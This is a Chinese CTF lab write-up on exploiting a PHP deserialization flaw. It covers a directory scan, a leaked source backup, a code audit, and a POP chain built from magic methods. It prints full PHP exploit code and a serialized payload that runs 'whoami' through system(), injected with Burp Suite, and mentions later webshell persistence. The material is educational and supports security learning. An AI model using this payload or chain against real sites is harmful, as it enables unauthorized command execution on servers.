记CTF靶场综合测试(2)—— PHP反序列化漏洞利用实战


免责声明

本文仅用于网络安全技术学习、研究及CTF竞赛交流,所有操作均在合法授权的私有靶场环境中完成。严禁将本文技术用于未经授权的服务器渗透、非法攻击、数据窃取等违法违规行为。任何个人或组织未授权使用相关技术造成的法律责任及后果,由使用者自行承担,与本文作者无关。请严格遵守《网络安全法》等相关法律法规,恪守网络安全道德规范。

前言

在上一阶段的测试中,我们完成了sql注入,弱口令爆破。本次将继续对目标站点进行深度渗透测试,通过目录扫描挖掘敏感信息,结合代码审计发现PHP反序列化漏洞,并构造POP链完成漏洞利用,实现命令执行。

一、信息收集:目录扫描挖掘敏感路径

为排查目标站点是否存在权限配置不当、敏感文件泄露等问题,我使用Kali Linux内置的dirsearch工具对目标域名进行全站目录扫描,尝试发现隐藏的敏感文件与目录。

请添加图片描述

扫描结果中发现站点存在ZIP压缩备份包,这类文件极有可能包含网站完整源码,是代码审计的关键突破口。

二、源码泄露:备份包下载与分析

直接访问扫描到的ZIP包路径,成功下载网站源码备份文件,为后续漏洞挖掘提供了核心素材。
在这里插入图片描述
在这里插入图片描述

三、代码审计:定位核心漏洞

对下载的源码进行逐文件审计,重点排查高危函数与危险逻辑:

  1. 代码中出现了PHP高危系统函数 system(),具备命令执行潜力;
  2. 关键代码中存在无过滤的用户可控反序列化函数 unserialize(),这是PHP反序列化漏洞的核心特征;
  3. 结合代码中定义的多个类与魔术方法,确定本题为PHP反序列化POP链利用题型
    请添加图片描述
    请添加图片描述

漏洞利用链路推导

通过分析类结构与魔术方法触发规则,梳理出完整的攻击链条:

  1. 反序列化Show类实例 → 自动触发魔术方法 __wakeup()
  2. __wakeup() 执行 echo $this->source,将对象自身赋值给source,触发__toString()
  3. __toString() 访问 $this->str->sourceTest类无source属性,触发__get()
  4. __get() 执行 $this->p(),调用Modifier类触发__invoke()
  5. 最终执行system函数,实现任意命令执行

四、EXP构造:生成攻击Payload

根据推导的POP链,编写PHP代码构造恶意反序列化Payload,实现whoami命令执行测试:

完整EXP代码

<?php
// 命令执行核心类
class Modifier{
    public $cmdd;
    public function __invoke(){
        system($this->cmdd);
    }
}
// 链条触发类
class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}
// 中间转发类
class Test{
    public $p;
    public function __get($key){
        $func = $this->p;
        return $func();
    }
}

// 构造POP链
$m=new Modifier();
$m->cmdd='whoami';
$t=new Test();
$t->p=$m;
$s=new Show();
$s->source=$s;
$s->str=$t;

// 输出序列化Payload
echo serialize($s);
?>

最终Payload

O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:4:"cmdd";s:6:"whoami";}}}

五、漏洞利用:验证命令执行

  1. 打开目标站点的用户注册功能,随意填写基础表单信息;
  2. 使用抓包工具(Burp Suite)拦截请求数据包;
  3. 将构造好的反序列化Payload替换请求中的对应参数;
  4. 放行数据包,执行漏洞利用。

请添加图片描述

页面成功回显命令执行结果,PHP反序列化漏洞验证成功,目标服务器可执行任意系统命令。

请添加图片描述

至此,我们完成了漏洞验证,后续可通过构造Payload写入Webshell实现服务器持久化控制,本文不再演示。

六、总结

本次测试通过目录扫描→源码泄露→代码审计→POP链构造→漏洞利用的完整流程,成功利用PHP反序列化漏洞实现命令执行。
核心知识点:

  1. 备份文件、源码泄露是CTF与渗透测试中的高频突破口;
  2. 无过滤的unserialize()是反序列化漏洞的根源;
  3. 魔术方法联动是构造POP链的核心,需熟练掌握触发条件;
  4. 实战中可通过命令执行进一步获取Webshell,实现服务器持久化控制。

未完待续…

更多推荐